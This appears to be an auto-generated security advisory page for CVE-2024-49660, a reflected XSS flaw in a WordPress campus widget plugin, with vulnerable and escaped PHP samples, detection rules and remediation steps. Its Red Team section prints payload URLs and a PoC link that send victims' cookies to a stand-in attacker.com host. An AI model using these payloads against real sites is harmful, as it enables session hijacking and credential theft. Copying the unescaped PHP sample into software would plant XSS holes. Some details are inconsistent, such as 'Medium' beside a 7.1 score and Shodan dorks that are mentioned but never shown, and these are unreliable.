CVE-2024-49660
Executive Summary
CVE-2024-49660 is a reflected Cross-Site Scripting (XSS) vulnerability in the Campus Explorer Widget WordPress plugin, affecting versions up to and including 1.4. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session. As a WordPress plugin vulnerability, it specifically impacts sites running the Campus Explorer Widget plugin, and exploitation does not require authentication. The EPSS score is 0.0%, indicating low current exploitation activity, but the lack of a patch makes it a persistent risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Since no patch is available, site administrators must consider removing or disabling the plugin to mitigate risk. The plugin’s supply chain is not directly compromised, but the absence of a fix means the plugin itself is a security liability.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a crafted link.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium (CVSS 7.1). The vulnerability is easy to exploit but requires user interaction. The lack of a patch elevates the risk for unmaintained sites.
Deep Dive & Mechanics
The Campus Explorer Widget plugin fails to sanitize or escape user-supplied parameters before reflecting them in the HTTP response. A typical reflected XSS attack involves crafting a URL with a malicious payload in a query parameter (e.g., ?search=<script>alert('XSS')</script>). When the plugin processes this parameter and outputs it directly into the HTML without proper encoding, the browser executes the injected script.
The vulnerable code likely uses functions like echo $_GET['param'] or print_r($_REQUEST) without applying WordPress’s esc_html() or esc_attr() functions. The attack surface is any parameter that is reflected in the page output, such as search terms, error messages, or widget configuration values.
Vulnerable vs. Patched Code
Vulnerable Code (PHP):
<?php
// In a template or shortcode handler
$search_term = $_GET['search'];
echo "<div class='campus-search'>You searched for: " . $search_term . "</div>";
?>
Patched Code (PHP):
<?php
// Properly escape output
$search_term = isset($_GET['search']) ? esc_html($_GET['search']) : '';
echo "<div class='campus-search'>You searched for: " . $search_term . "</div>";
?>
The patched version uses esc_html() to encode HTML special characters, preventing script injection. Since no official patch exists, this is a recommended fix.
Exploitation & Lab Setup
Red Team (Offensive)
- Setup: Deploy a WordPress instance with Campus Explorer Widget version 1.4.
- Craft Payload: Create a URL with a malicious script in a reflected parameter:
http://target-site/?campus_explorer_search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Deliver: Send the link to a victim via email or social engineering.
- Execute: When the victim clicks the link, the script executes, exfiltrating cookies to the attacker’s server.
Proof-of-Concept (PoC) Code:
<!-- Save as poc.html and host on attacker server -->
<a href="http://target-site/?campus_explorer_search=<script>new Image().src='https://attacker.com/log?data='+document.cookie</script>">Click me</a>
Blue Team (Defensive)
- Detection: Monitor web logs for suspicious query parameters containing
<script>,onerror=, orjavascript:. - Mitigation: Immediately disable or remove the Campus Explorer Widget plugin.
- Hardening: Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
- User Training: Educate users not to click untrusted links.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests with query parameters containing
<script>,%3Cscript%3E, oronerror=. - Outbound connections to unknown domains from the web server.
- HTTP requests with query parameters containing
- File IOCs:
- Plugin file:
/wp-content/plugins/campus-explorer-widget/(version 1.4). - Suspicious entries in WordPress debug log (if enabled).
- Plugin file:
- Behavioral IOCs:
- Unexpected JavaScript execution in the browser.
- Unauthorized cookie access or session hijacking.
Detection Engineering
YARA Rule
rule CVE_2024_49660_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting Campus Explorer Widget"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-49660"
strings:
$payload1 = /<script[^>]*>.*?<\/script>/i
$payload2 = /onerror\s*=\s*["']?[^"'\s>]+/i
$payload3 = /javascript\s*:\s*/i
$param = "campus_explorer_search"
condition:
any of ($payload*) and $param
}
Sigma Rule
title: Reflected XSS Attempt Against Campus Explorer Widget
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the campus_explorer_search parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: "campus_explorer_search="
c-uri|contains|any:
- "<script"
- "onerror="
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of script tags in search (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-49660 Reflected XSS Attempt"; flow:to_server; content:"campus_explorer_search="; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable and remove the Campus Explorer Widget plugin from all WordPress installations.
- Code Fix: If the plugin is essential, apply the patched code example above to all reflected parameters.
- WAF Rules: Deploy a WAF with rules to block reflected XSS patterns (e.g., ModSecurity rule 942100).
- Monitoring: Enable detailed logging for HTTP requests and review for suspicious activity.
- User Awareness: Train users to avoid clicking suspicious links and to report unusual behavior.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2024-49660
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.